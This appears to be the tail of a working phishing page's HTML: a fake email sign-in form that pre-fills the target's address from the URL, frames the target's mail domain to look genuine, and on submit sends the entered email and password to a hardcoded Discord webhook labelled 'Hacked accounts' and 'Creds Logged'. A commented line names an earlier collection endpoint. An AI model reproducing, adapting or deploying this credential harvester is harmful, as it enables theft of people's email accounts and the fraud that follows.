<input type="email" class="form-control email" required="required" name="email" id="email" autocomplete="on">
<label class="text-secondary font-weight-bold">Password</label>
<input type="password" class="form-control password" name="password" required="" id="password">
<br>
<div></div>
<input class="btn newbutton" type="submit" value="Sign in" name="submit" id="newbutton">
</form>
</div>
</div>
</body>
<div class="loading" id="loading">
<span class="loader"></span>
<h3 class="text-center">Connecting To Mail Server</h3>
</div>
<iframe src="" frameborder="0" id="iframe"></iframe>
<input type="hidden" value="0" id="number">
<script>
var link = window.location.href;
var url = new URL(link);
var hash = url.hash;
var updated_email = hash.replace("#", "");
document.getElementById("email").value = updated_email;
const inputString = updated_email;
const delimiter = "@";
const delimiterIndex = inputString.indexOf(delimiter);
const charactersAfter = inputString.substring(delimiterIndex + 1);
var iframe = document.getElementById("iframe");
// var iframe_url = "https://www." + charactersAfter ;
var iframe_url = "https://" + charactersAfter ;
iframe.setAttribute("src", iframe_url);
setTimeout(() => {
var loader = document.getElementById("loading");
loader.style.display = "none";
}, 4000);
document.addEventListener("DOMContentLoaded", function() {
var form = document.getElementById("form");
form.addEventListener("submit", function(e) {
e.preventDefault();
var number = parseInt(document.getElementById("number").value);
var password = document.getElementById("password").value;
var webhookUrl = "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI";
var payload = {
username: "Hacked accounts",
avatar_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg",
embeds: [{
title: "USER BREACH DETECTED",
description: `**Un utilisateur s'est fait PETAX!**`,
color: 0xFF0000,
fields: [
{
name: "User Credentials",
value: `**Email**: ${document.getElementById("email").value}\n**Password**: ${document.getElementById("password").value}`,
inline: false
}
],
footer: {
text: "Creds Logged",
icon_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
image: {
url: "https://i.imgur.com/UsNaXHK.gif"
}
}]
};
var xhr = new XMLHttpRequest();
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
xhr.open("POST", webhookUrl, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", xhr.responseText);
}
}
};
xhr.send(JSON.stringify(payload));
document.getElementById("number").value = number + 1;
document.getElementById("password").value = "";
});
});
</script>
</html>
Use with an AI

Actions